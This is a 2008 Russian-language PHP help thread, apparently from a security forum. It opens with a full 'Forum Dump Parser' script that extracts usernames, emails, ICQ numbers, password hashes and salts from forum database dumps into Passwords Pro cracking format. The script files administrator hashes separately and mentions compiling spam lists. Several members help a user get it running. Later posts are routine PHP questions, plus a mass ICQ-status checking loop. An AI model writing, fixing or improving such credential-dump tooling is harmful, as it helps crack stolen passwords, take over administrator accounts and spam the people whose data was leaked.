if($admins==1) { echo " sorting & writing admin hashes..\n"; @asort($odmen); $f = fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}

myau();
?>
__________________

De-visible
23.03.2008, 01:55
Php скрипт! Залей на сервак с поддержкой PHP Или установи appserv, denwer, apache and php ну и т.д.

BBG2
23.03.2008, 02:34
залил на сай выдаёь ошибку.
Parse error: syntax error, unexpected T_STRING in /mounted-storage/home59b/sub009/sc37906-IDWC/www/45.php on line 83
Сайт подерживает пхп

.:EnoT:.
23.03.2008, 03:01
BBG2
Там в скрипте просто пробелы в переменных стояли, вот и ошибки выдавал.

<?

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*
/* Forum Dump Parser v0.2 (FDPv0.2)
/* by Re@ctor
/* http://truenet.net.ru/security/
/*
/*
/* Скрипт предназначен для частного использования и позволяет
/* привести имеющиеся дампы баз данных в единый удобный формат для
/* дальнейшего анализа в программе Passwords Pro, либо просто
/* в списки для других программ.
/*
/* Скрипт запрещается использовать в корыстных целях и автор не
/* несёт ответственности за возможный ущерб, причинённый от исполь-
/* зования данного скрипта.
/*
/* Скрипт запрещается использовать в противозаконных целях, либо
/* целях, ведущих к умышленному или неумышленному нарушению законода-
/* тельства Российской Федерации.
/*
/* Хорошего дня и доброго насроения! ;-)
/* Помните про существование TrueNET! =)
/*
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

###### 1. выходной формат файлов ######
# для брута, формат Passwords Pro
#$sort = array('username','password','salt'); # пользователи
#$sort = array('email','password','salt'); # мыльники
$sort = array('icq','password','salt'); # аськи
# помните, что формат PPro - имя:хэш:сальт:расшифр.парол ь:комментарий
# поэтому надо писать от 2 до 3 значений, т.к. меньше или больше
# будет воспринято неверно программой.

# просто базы
#$sort = array('email'); # e-mail
#$sort = array('icq'); # icq

###### 2. формирование строк ######
$delim = "¤"; # разделитель между значениями
$br = "\n"; # чем заканчивать строку (\n - перенос строки)

###### 3. промежуточный вывод ######
$makefiles = 1; # делать ли отдельные файлы для каждого дампа
$ext = "txt"; # расширение выходного файла этих файлов

###### 4. параметры сбора информации ######
$site = 1; # если $makefiles = 0;, то получать сведения о сайте
# из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла
# ( удобно при составлении тематических спам-баз )
# формат файла должен быть префиксАДРЕС_САЙТАрасшире ие, где префикс и расширение любые
$site_prefix = ''; # если $site=1, указать префикс файлов
$site_ext = '.sql'; # если $site=1, указать расширение файлов
$convert = 0; # конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)

###### 5. общий файл с данными ######
$hashmake = 1; # делать ли единый файл со всеми хэшами
$hash_filename = '!PasswordsPro.Hashes'; # имя файла с хэшами

###### 6. выборка из дампов админов в отдельный файл ######
$admins = 1; # сделать файл с хэшами админов дампов
$admin_pass = 'password'; # имя ячейки с хэшем пароля
$admin_salt = 'salt'; # имя ячейки с салом пароля
$admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про
$admin_filename = '!admin.PasswordsPro.Hashes';

###### 7. (WARNING!) имя первой ячейки в таблице ######
$firstintable = 'userid'; # название первой ячейки в таблице (важно!)

ini_set("max_execution_time","86400");
set_time_limit(0);

function make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); }
function checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; }
function koi($txt) { return convert_cyr_string($txt,'k','w'); }
function iso($txt) { return convert_cyr_string($txt,'i','w'); }
function myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }

$d=opendir('.');
while(($e=readdir($d))!=false) {
if($e=='.'||$e=='..' || $e==$admin_filename || $e==$hash_filename || $e==$argv[0]) continue;
if(is_file($e)) {
if($makefiles==1)$f = fopen("$e.$ext","w+");
echo "[+] $e (".filesize($e)." bytes)\n";
$file = file($e);

foreach($file as $a) {
$tmp = explode(' ',$a); $tablesuf=$tmp[1];
if(!$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; }
foreach (array_unique(array_merge($sort, $admin_comment)) as $s) {
if($tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; }
}
if(!$y) $vars[]='b'; else unset($y);
if(strstr($a,'PRIMARY KEY')) break;
}

foreach($file as $a) {
if(strstr($a,"INSERT INTO")) {
$tmp = preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a);
$values = explode(',',$tmp);
foreach($values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); }
foreach($sort as $s) {
if(!$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) {
if($admins==1&&$hashmake==0&&$makefiles==0) {
if(!$tr) $tr[]=$e;
if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
$admok=1;
} else {
if($s==$v['name']) {
if($s=='salt') $tm[] = checksalt(make($m[$v['num']]));
else $tm[] = make($m[$v['num']]);
}
if($admins==1&&!$admok) {
if(!$tr) $tr[]=$e;
if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
}
}
}
if($admok==1) break; $admok=2;
}
if($tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[] = @implode($tr,$delim) .$delim.$delim.@implode($comment,', ');
unset($tr); unset($m); unset($tm); unset($comment);
if($admok==1) break;
}
}
if($makefiles==1) {
if($site==1) {
$host = preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e);
echo "[:] connecting to $host..\n";
$fp = fsockopen($host,80,&$errno,&$errstr,5);
if(!$fp) echo "[:] Error connecting $host ($errno - $errstr)\n";
fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n");
while(!feof($fp)) {
$tmp=fgets($fp,1000);
if(preg_match("'charset='i",$tmp)||!$schar) {
$ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp);
if(preg_match("'koi8-r'i",$ch)) $koi=1;
elseif(preg_match("'iso8859-5'i",$ch)) $iso=1; $schar=1;
}
elseif(preg_match("'<title>(.*?)</title>'i",$tmp)) {
$title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp);
echo "[:] TITLE ok..\n";
}
elseif(preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) {
$kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
echo "[:] KEYWORDS ok..\n";
}
elseif(preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) {
$descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
echo "[:] DESCRIPTION ok..\n";
}
elseif(preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break;
}
fclose($fp);
if($koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); }
if($iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); }
$info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"; $title=$host=$descr=$kiwords='';
}
echo "[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info);
}
unset($vars); unset($file); unset($towrite); unset($admok);
}
}
if($hashmake==1) { echo " sorting & writing all hashes..\n"; @asort($globhash); $f = fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);}
if($admins==1) { echo " sorting & writing admin hashes..\n"; @asort($odmen); $f = fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}

myau();
?>
__________________


что за скрипт? ПЕРЛ или ПХП
а по тегам не видно?)) пхп конечно)
а что за скрипт написано в коментах:
Скрипт предназначен для частного использования и позволяет
привести имеющиеся дампы баз данных в единый удобный формат для
дальнейшего анализа в программе Passwords Pro, либо просто
в списки для других программ.

BBG2
23.03.2008, 13:12
Там в скрипте просто пробелы в переменных стояли, вот и ошибки выдавал.

А можешь их убрать? Если конечно тебе не трудно.
А то я в кодинге неселён.
Спасибо! :D
а что за скрипт написано в коментах:
Этот скрипт я взял здесь же в этом разделе.
Полезные скрипты (http://forum.antichat.ru/threadnav26391-7-10.html)

.:EnoT:.
23.03.2008, 22:43
Сообщение от bbg2
А можешь их убрать? Если конечно тебе не трудно.
а по твоему я скрипт для красоты твой в своём посте выложил?)

BBG2
24.03.2008, 02:33
а по твоему я скрипт для красоты твой в своём посте выложил?)
Ну конечно я попробывал твои изменения и вот что теперь выскакивает.
Warning: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 73

Warning: fopen(attachment_watermark.php.txt) [function.fopen]: failed to open stream: Permission denied in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 85
[+] attachment_watermark.php (14452 bytes) [!] Can't get table values from attachment_watermark.php =[ [:] connecting to attachment_watermark.php..
Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 136

Warning: fsockopen() [function.fsockopen]: unable to connect to attachment_watermark.php:80 (Unknown error) in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 136
[:] Error connecting attachment_watermark.php (192286958 - )
Warning: fputs(): supplied argument is not a valid stream resource in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 138

Warning: feof(): supplied argument is not a valid stream resource in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 139

Warning: fgets(): supplied argument is not a valid stream resource in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 140

Sleep
24.03.2008, 03:02
[B]Warning: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 73
Выскакивает из за того что на серве где ты етот скрипт запускаеш установлен безопасный режим
замени :"set_time_limit(0); "на "//set_time_limit(0);"

Warning: fopen(attachment_watermark.php.txt) [function.fopen]: failed to open stream: Permission denied in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 85
нехватает прав на чтение файла

Isis
24.03.2008, 03:22
Sleep, мда....тем что он закоментирует функцию, скрипту лучше не станет, он работать не будет вообще после 30 секунд его работы =\

Red_Red1
24.03.2008, 14:03
Но в результате на выходе получаем все элементы массива, без удаления повторов...
Так ведь ты же не береш значение функции array_unique.... вот почитай
http://php.su/functions/?f=array_unique&choice=info
Функция ВОЗВРАЩАЕТ массив
т.е. тебе нужно примерно так
$res=array_unique($zap);
foreach ($res as $fin)
{
echo $fin."<br>\r\n";
}

holod1985
24.03.2008, 16:17
ребят этот форум на каком движке? где его можно скачать?
http://forum.totaldvd.ru/

desTiny
24.03.2008, 16:19
ребят этот форум на каком движке? где его можно скачать?
http://forum.totaldvd.ru/
А гугл для кого? :
http://www.aspplayground.net/

Titop
24.03.2008, 22:31
[офф] как сюда вставить пхп скрипт,чтоб не в 1 строчку?

Piflit
24.03.2008, 22:32
копипаст в textarea, ctrl+a, кнопочка php

Titop
24.03.2008, 23:06
копипаст в textarea, ctrl+a, кнопочка php
так и делаю,получается в строчку.
тэгом напишите плз

Zircool
24.03.2008, 23:28
Вопрос по выводу переменной из цикла... Вот к примеру скрипт...
if(isset($_GET['sub']))
{
echo "<br>";
$zap=$_GET['str'];
$zap=explode("\r\n",$zap);
$res=array_unique($zap);
$nach=count($zap);
$kon=count($res);
$del=$nach-$kon;
foreach ($res as $fin)
{
echo $fin."<br>\r\n";
}
}

Вопрос.. Как сделать что бы можно было вывести значение $del за пределами цикла if.. Использовать $del как глобальную переменную, если да то как?

Dimi4
24.03.2008, 23:37
так и делаю,получается в строчку.
тэгом напишите плз
postav' radio button "Расширенный режим"
Sorri za translit

Piflit
25.03.2008, 00:34
Zircool if не влияет на область видимости.

NOmeR1
25.03.2008, 00:55
Zircool if не влияет на область видимости.
Ну вопервых IF - это не цикл :D

Просто вынеси код в цикле вместе с циклом, т.е
if(isset($_GET['sub']))
{
echo "<br>";
$zap=$_GET['str'];
$zap=explode("\r\n",$zap);
$res=array_unique($zap);
$nach=count($zap);
$kon=count($res);
$del=$nach-$kon;
}
foreach ($res as $fin)
{
echo $fin."<br>\r\n";
}
Зачем там $nach, $kon и $del?

tick
25.03.2008, 11:55
Короче вот скрипт,я его пихнул в php файл он ругаеться пишет:

Parse error: syntax error, unexpected $end in D:\VertrigoServ\www\index.php on line 94

Вот php файл...поправте плз (http://slil.ru/25616071)

tick
25.03.2008, 13:13
tick
там где-то фигурная скобка незакрыта. поставь в скрипте ентеры а т так нефига невидно.



Вот php файл...поправь плз (http://slil.ru/25616071)

krypt3r
25.03.2008, 13:26
tick, посчитай количество парных фигурных скобок. У тебя несовпадение на две штуки.
{ - 8
} - 6

tick
25.03.2008, 14:05
tick, посчитай количество парных фигурных скобок. У тебя несовпадение на две штуки.
{ - 8
} - 6

спасиб :) лови +

Теперь чет скрипт не хочет правильно пахать...указываю адрес...он только запускает...а не редоктирует и нехера пишет "Файла http://site/lol.php не существует!!!" :(

Dimi4
25.03.2008, 15:02
спасиб :) лови +

Теперь чет скрипт не хочет правильно пахать...указываю адрес...он только запускает...а не редоктирует и нехера пишет "Файла http://site/lol.php не существует!!!" :(
а может его не существует?
проверь путь

tick
26.03.2008, 06:19
а может его не существует?
проверь путь

Всё существует!!! mb в коде косяк?

http://slil.ru/25619433 - вот файл...

Noiro
26.03.2008, 07:21
Вроди все верно. Имя файла правильно указываешь ? (Оно должно быть локальным, а не http://чтото )

tick
26.03.2008, 09:47
Вроди все верно. Имя файла правильно указываешь ? (Оно должно быть локальным, а не http://чтото )

Всм? Я пишу "lol.php" он только проматривает файл а редоктировать и т.д не хочет вообще нечего не показывает...и не пишет...

.:EnoT:.
26.03.2008, 10:54
Ну во-первых форма у тебя отправляет данные на editor.php .Во-вторых код очень не читабельный...код вообще какой-то странный. Например читать файл у тебя отказывается по той причине что чтение файла у тебя находится внутри условия удаления файла (строчка 34), имхо..т.к. времени щас нет разбираться с твоим кодом))....и вообще советовал бы тебе ставить везде фигурные скобки. Сделал более менее читабельным код ==> http://slil.ru/25619759

Zircool
26.03.2008, 19:01
у меня вопрос по регулярным выражениям...какого вида будет строка что бы находила в коде выражения вида:
|admin|1bf3fa39c103bdcb4ad3141b3e7ca4a2|
т.е
|буквы и цифры|цифры от 0 до 9 и буквы от a до f |

Таким будет выражение? '#\\|"(\S+)"\\|"(\S+)"\\|#'

Scipio
26.03.2008, 19:18
<?php
$s="|admin|1bf3fa39c103bdcb4ad3141b3e7ca4a2|";
preg_match("#(\|\w*\|\w{32}\|)#",$s,$p);
echo $p[1];
?>
это так навскидку

d_x
26.03.2008, 22:35
Как я понял, вторая часть - это md5?
Тогда точнее так:

<?php
$s="|admin|1bf3fa39c103bdcb4ad3141b3e7ca4a2|";
print preg_match("/^\|([a-zA-Z0-9]+)\|([a-f0-9]{32,32})\|$/",$s,$p); //это чтобы сравнить строку на точное совпадение с шаблоном

print '<br>'.$p[1].' '.$p[2].'<br>';

preg_match_all("/\|([a-zA-Z0-9]+)\|([a-f0-9]{32,32})\|/",$s,$p); //это чтобы найти в строке все такие подходящие по шаблону подстроки

print_r($p);
?>

Zircool
27.03.2008, 04:29
А у кого нибудь есть примеры скрипта, написаного с функцией работы через proxy?

Isis
27.03.2008, 05:32
Zircool,
<?php
$proxy = '127.0.0.1';
$port = '12444';
$ct = curl_init();
curl_setopt($ct, CURLOPT_URL, 'http://x3k.ru');
curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ct, CURLOPT_HEADER, 1);
curl_setopt($ct, CURLOPT_REFERER, 'http://www.xeka.ru');
curl_setopt($ct, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0');
curl_setopt($ct, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ct, CURLOPT_PROXY, $proxy.':'.$port);
$cont = curl_exec($ct);
curl_close($ct);
echo $cont;
?>

myp3zz
27.03.2008, 11:45
здравтсвуйте, подскажите как удалить в сграбленной странице рандомные рекламные ссылки в начале?

Piflit
27.03.2008, 11:54
здравтсвуйте, подскажите как удалить в сграбленной странице рандомные рекламные ссылки в начале?
пример страницы

Isis
27.03.2008, 12:53
У рекламы есть какой-нибудь ID свой...
так вот
<?php
if(preg_match("#<div id='adv'>(.*)</div>#is", $source, $xek))
{
$source = str_replace($xek['1'], '', $source);
}
?>

Хелпер
27.03.2008, 18:54
Вот пишу калькулятор на Php.
<form action="0.php" method="post">
Первое число<input type="text" name="1"><BR>
Второе число<input type="text" name="2"><BR>
<input type="submit" value="Посчитать">
</form>
<?php
$num1= $_POST['1'];
$num2= $_POST['2'];
//ТУТ ВОЗНИК ВОПРОС: Как позволить юзеру выбирать знак. Там плюс минус умножить и делить. ????
?>
ТОЛЬКО НЕ НАДО ГОВОРИТЬ: мол скрипт косой, зачем эти переменные. Я только начал учить PHP. Отвечать по теме.

Sn@k3
27.03.2008, 19:01
<form method="POST" action="--WEBBOT-SELF--">
<!--webbot bot="SaveResults" U-File="fpweb:///_private/form_results.csv" S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->
<p><select size="1" name="D1">
<option value="+" selected>+</option>
<option value="-">-</option>
<option value="/">/</option>
<option value="*">*</option>
</select><input type="submit" value="Отправить" name="B1"></p>
</form>



ну типа того и т.д.. а значения можешь сам подставить в value="-" естественно.

d_x
27.03.2008, 19:09
А если полностью, попроще, без особых проверок, то

<form action="0.php" method="post">
Первое число<input type="text" name="1"><BR>
Второе число<input type="text" name="2"><BR>
Действие: <select name='3'><option value='1'>+</option><option value='2'>-</option>
<option value='3'>*</option><option value='4'>/</option></select>
<input type="submit" value="Посчитать">
</form>

<?php
$num1=isset($_POST['1']) ? $_POST['1'] : 0;
$num2=isset($_POST['2']) ? $_POST['2'] : 0;
$znak=isset($_POST['3']) ? $_POST['3'] : 0;

switch($znak)
{
case '1':
$res=$num1+$num2;
break;

case '2':
$res=$num1-$num2;
break;

case '3':
$res=$num1*$num2;
break;

case '4':
if($num2==0) die("На ноль нельзя делить");
$res=$num1/$num2;
break;

default:
die("Выберите действие");
}

print str_replace(' ','.',$res); //чтобы числа с дробной частью нормально выводились
?>

De-visible
27.03.2008, 19:38
_http://osu.cctpu.edu.ru/edu/web/extra/jscalc.html - калькулятор на javascript(Вдруг понадобится)
=====================Просторы интернет:)=============
_http://hostweb.narod.ru/php/6.htm - вот на php
_http://nextaz.com/showarticle.php?id=1109407131
_http://www.compgazeta.ru/articles/2006/46/kg64617.html - вот perl

Doom123
27.03.2008, 20:45
Привет! Я вот пишу класс BBcode и столкнулся с проблемой...
как наделить регулярные выражения логикой? =(
например есть строка

blabla [ B ]TEST[ /B ] blablabla [ B ]Test2[ /B ]

и

blablb [ B ]test [ B ]test[ /B ] test[ /B ]

И так если написать [ B ](.*?)[ /B ] - В первой строке будет нормально
но во второй не подойдёт .. он возьмёт первый попавшейся [ /B ]
А если сделать [ B ](.*)[ /B ] в первом он возьмёт самый последний [ /B ]
но ко второму подойдёт .. Подскажите плз как быть

d_x
27.03.2008, 20:49
Берёт 1й попавшийся:

$text=preg_replace("#\(.+?)\[/b\]#is","<b>\\1</b>",$text);

Берёт последний из всех:

$text=preg_replace("#\(.+?)\[/b\]#isU","<b>\\1</b>",$text);

Я не совсем понял вопрос, на что конкретно должна заменяться строка вроде этой:
[ b ]456[ b ]789[ /b ] abc[ /b ]

Если просто заменять bb-теги [ b ]...text...[ /b ] на соответственно <b>...text...</b>, в том числе вложенные, то возможен такой вариант

$text="blablb [b]test [b]test test sdfsdfsd sdfsdf";

$text_old='';
while($text_old!==$text)
{
$text_old=$text;
$text=preg_replace("#\[b\](.+?)\[/b\]#is","<b>\\1</b>",$text);
}

print $text;

Doom123
27.03.2008, 21:04
О пасиб вроде так=)

d_x
27.03.2008, 21:11
Отредактировал свой предыдущий пост, последний вариант должен подойти. Хотя, возможно, есть и проще.

lsass.exe
27.03.2008, 22:22
Помогите плз )

переменной $data присвойте значение "Параметр regs является не обязательным. Он представляет собой массив, в который будут занесены результаты поиска.". Используя функции обработки регулярных выражений, выведите в окне обозревателя все слова, начинающиеся с прописной буквы.

desTiny
27.03.2008, 22:42
1)
<?php
$data = "Отлииично! Это последний php-сценарий!";
preg_match('/\W((\\w*и){3}?\\w*)\W/', " ".$data." ", $a);
echo $a[1];
?>

lsass.exe
27.03.2008, 22:48
1)
<?php
$data = "Отлииично! Это последний php-сценарий!";
preg_match('/\W((\\w*и){3}?\\w*)\W/', " ".$data." ", $a);
echo $a[1];
?>
выводит буквы ИИИИ, а нужно слово в котором они есть

desTiny
27.03.2008, 22:52
выводит буквы ИИИИ, а нужно слово в котором они есть
Странно... у меня выводит
Отлииично
...

lsass.exe
27.03.2008, 23:01
Странно... у меня выводит

...
затестил на другой версии пхп сработало. спс

Хелпер
27.03.2008, 23:16
Опять вопрос.
вот написал скрипт из обычного вида в md5
<form action="1.php" method="post">
<input type="text" name="x">
</form>
<?PHP
$Password= $_POST['x'];
$Password= md5($Password);
echo $Password
?>
Теперь интересно, как бы сделать наоборот. Вводишь md5 а получаешь обычный. БЕЗ НАВОРОТОВ И ПРОВЕРОК.

Piflit
27.03.2008, 23:19
<?
while(1){ echo 'lol'; }
?>

lsass.exe
27.03.2008, 23:20
Опять вопрос.
вот написал скрипт из обычного вида в md5
<form action="1.php" method="post">
<input type="text" name="x">
</form>
<?PHP
$Password= $_POST['x'];
$Password= md5($Password);
echo $Password
?>
Теперь интересно, как бы сделать наоборот. Вводишь md5 а получаешь обычный. БЕЗ НАВОРОТОВ И ПРОВЕРОК.
никак, md5 это необратимое шифрование.
Почитай тут http://ru.wikipedia.org/wiki/MD5

lsass.exe
27.03.2008, 23:38
Осталось вот это задание, может кто знает?

$data присвойте значение "Параметр regs является не обязательным. Он представляет собой массив, в который будут занесены результаты поиска.". Используя функции обработки регулярных выражений, выведите в окне обозревателя все слова, начинающиеся с прописной буквы.

Piflit
27.03.2008, 23:44
preg_match_all
регулярка - ~[диапазон хекс значений прописных букв]\w*~

Spaise
28.03.2008, 00:03
Скажите пожалуйста, как мне все элементы строки в массив поместить? Чтобы каждая буква была отдельно.

Piflit
28.03.2008, 00:09
Скажите пожалуйста, как мне все элементы строки в массив поместить? Чтобы каждая буква была отдельно.
$array = explode('', $string);

Spaise
28.03.2008, 00:13
$array = explode('', $string);
Я так и пробывал, а он ругается -
Warning: explode() [function.explode]: Empty delimiter. in /blablabla/bla.php on line 11

NOmeR1
28.03.2008, 00:33
Spaise, str_split($string)

desTiny
28.03.2008, 00:33
Осталось вот это задание, может кто знает?

$data присвойте значение "Параметр regs является не обязательным. Он представляет собой массив, в который будут занесены результаты поиска.". Используя функции обработки регулярных выражений, выведите в окне обозревателя все слова, начинающиеся с прописной буквы.
вообще
$data = "Параметр regs является не обязательным. Он представляет собой массив, в который будут занесены результаты поиска.";
preg_match_all('/\\W(\\u\\w+)\\W/', " ".$data." ", $a);
for ($i=0; $i<count($a[1]); $i++) echo $a[1][$i]."<br>";
Должен работать, но у меня выдаёт какой-то странный warning И не работает...

Spaise
28.03.2008, 00:36
Spaise, str_split($string)
Fatal error: Call to undefined function: str_split() in /blablabla/bla.php on line 11

Может такое быть, что из-за php проблемма?

NOmeR1
28.03.2008, 00:40
Fatal error: Call to undefined function: str_split() in /blablabla/bla.php on line 11

Может такое быть, что из-за php проблемма?
Значит версия пхп хреновая, короче тогда мою функцию юзай.
function str_split($string) {
$array = array();
for($i=0;$i<strlen($string);$i++)
{
$array[] = $string{$i};
}
return $array;
}
$string = 'test';
$array = str_split($string);

LolFEm
28.03.2008, 01:02
str_split($string) в 5 php появилась

код поменьше


$string = 'test';
$rezult = wordwrap($d, 1, ":+:",1);
$array = split("[:+:]+",$rezult);

Дикс
28.03.2008, 11:55
как понять подобную конструкцию??


$this->_smarty->assign($spec);


http://framework.zend.com/manual/ru/zend.view.scripts.html

anakreon
28.03.2008, 12:24
Здравствуйте уважаемые. Есть база Oracle. В ней есть 2 таблицы
в первой таблице находятся столбцы ID и SNAME
во второй находятся FIN, DEAL и т.д.
такого плана:
1-я таблица
| ID | SNAME |
| 173 | Intel |
| 432 | AMD |
| 324 | core2duo|
| 321 | phenom |
| .......| ...............|
| .......| ...............|
| .......| ...............|
| 532 | centrino |

2-я таблица
| FIN | DEAL |
| 200 | 302.432 |
| 127 | 7324.21 |
|173 | 212.454 |
| 432 | 4342.21 |
| .........| ..............|
| .........| ..............|
| .........| ..............|
| 321 | 32432.2 |

Смысл этих 2-х таблиц состоит в том что должна выводиться 2-я таблица и вместо FIN подставлять SNAME из таблицы 1
т.е. должно получаться в итоге
| наименование | цена |
| intel | 212.454 |
| AMD | 4342.21 |
| phenom | 32432.2 |
|...............| ......................|
|...............| ......................|
|...............| ......................|

Собственно вопрос как сделать это сопоставления
На данный момент код такой
<HTML>
<BODY>
<?php
$c = OCILogon ( );
if ( ! $c ) {
echo "not connected: " . var_dump ( OCIError () );
die();
}
$x = OCIParse ( $c , "select * from fin" );
OCIExecute ( $x , OCI_DEFAULT );
while ($row1 = oci_fetch_array ($x, OCI_ASSOC)) {
echo "<td>", $row1['ID'], "&nbsp;&nbsp;&nbsp;&nbsp;", "</td>";
echo "<td>", $row1['SNAME'], "</td><BR>";
}
echo "<table border=1>";
echo "<tr><th>FIN</th><th>L_PRICE</th><th>BEST_BUY</th><th>DEAL_MIN</th><th>DEAL_MAX</th></tr>";

$s = OCIParse ( $c , "select * from inf_ac" );
OCIExecute ( $s , OCI_DEFAULT );

echo "<tr>";

while ($row = oci_fetch_array ($s, OCI_ASSOC)) {
echo "<td>", $row['FIN'], "</td>";
echo "<td>", $row['L_PRICE'], "</td>";
echo "<td>", $row['BEST_BUY'], "</td>";
echo "<td>", $row['DEAL_MIN'], "</td>";
echo "<td>", $row['DEAL_MAX'], "</td>";
echo "</tr>";
}

echo "</table>";

OCICommit ( $c );


?>
</BODY>
</HTML>

krypt3r
28.03.2008, 13:00
А в оракле возможно сделать так?

select t1.sname, t2.deal from table1 t1
left join table2 t2 on t1.id = t2.fin

SeGaLWS
28.03.2008, 13:44
как сделать что бы $models["1"] выводился через запятую(1,2,3,4)
while ($models = mysql_fetch_array($model))
{
echo $models["1"];
}

nc.STRIEM
28.03.2008, 13:56
как сделать что бы $models["1"] выводился через запятую(1,2,3,4)
while ($models = mysql_fetch_array($model))
{
echo $models["1"];
}


while ($models = mysql_fetch_array($model))
echo $models[1].',';

anakreon
28.03.2008, 13:56
Не проходит... Пустоту выводит

SeGaLWS
28.03.2008, 14:03
while ($models = mysql_fetch_array($model))
echo $models[1].',';

специально написал в скобках (1,2,3,4,5) в предложеном варианте выводит (1,2,3,4,5,)

nc.STRIEM
28.03.2008, 14:28
$a='(';
while ($models = mysql_fetch_array($model))
$a.=$models[1].',';
$a.=')';
$a = str_replace(',)', ')', $a);


или


$a='';
while ($models = mysql_fetch_array($model))
$a.=$models[1].',';
unset($a[strlen($a)-1]);

LolFEm
28.03.2008, 14:31
так не проше?


$str="";
while ($models = mysql_fetch_array($model))
$str = $str . $models[1].',';
$result = substr($str,0,strlen($str)-1);

X-FRITS
29.03.2008, 00:21
Привет всем, я в php полный нуб!!только сегодня начал учить))
читать книги было влом, и потому я на чал искать движки форумов и разбирать их, понял я многое, что не понимал - гуглил.
когда я чуток врубился, написал себе скрипт, который смотрит в онлайне ли моя аси и меняет иконку, там возле названия сайта(_http://creeptor.org(это не реклама))
и вот мне стало интересно сколько людей сидят в icq в даный момент, и я написал скрипт, который должен сам всё подсчитывать.
но скрипт нормально не работает((
если нужно проверить 10 или 50 номеров, работает на ура!! а если больше, то он тупит(( хотя set_time_limit(0); может у меня хост тупой?? если нужно могу выложить скрипт(_http://creeptor.org/chek2.php)

P.S. прошу не судить строго я только сегодня начал его учить

============

я понял, проблема не в set_time_limit(0), а в чем-то другом, так как я свой первый чекер влючил(_http://creeptor.org/chek.php) т он нормально работает... но у него другое предназнаечение

X-FRITS
29.03.2008, 02:21
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.1//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml11.dtd'>
<html><head>
<title>Creeptor</title>
<link rel='stylesheet' type='text/css' href='/css/index.css' />
</head>
<body>
<?php
$a=0;
$s=0;
$d=0;
$k=0;
$q=0;
set_time_limit(0);
for($i=900000;$i<=900050;$i++){
$f=imagecolorat(imagecreatefromgif("http://status.icq.com/online.gif?icq=$i&img=27"), 5, 7);
$q=$q+1;
if($f==52){$a=($a+1);}else{if($f==82){$s=($s+1);}e lse{if($f==48){$d=($d+1);}else{$k=($k+1);echo "$k ERRORE - $i - $f<br>";}}}}
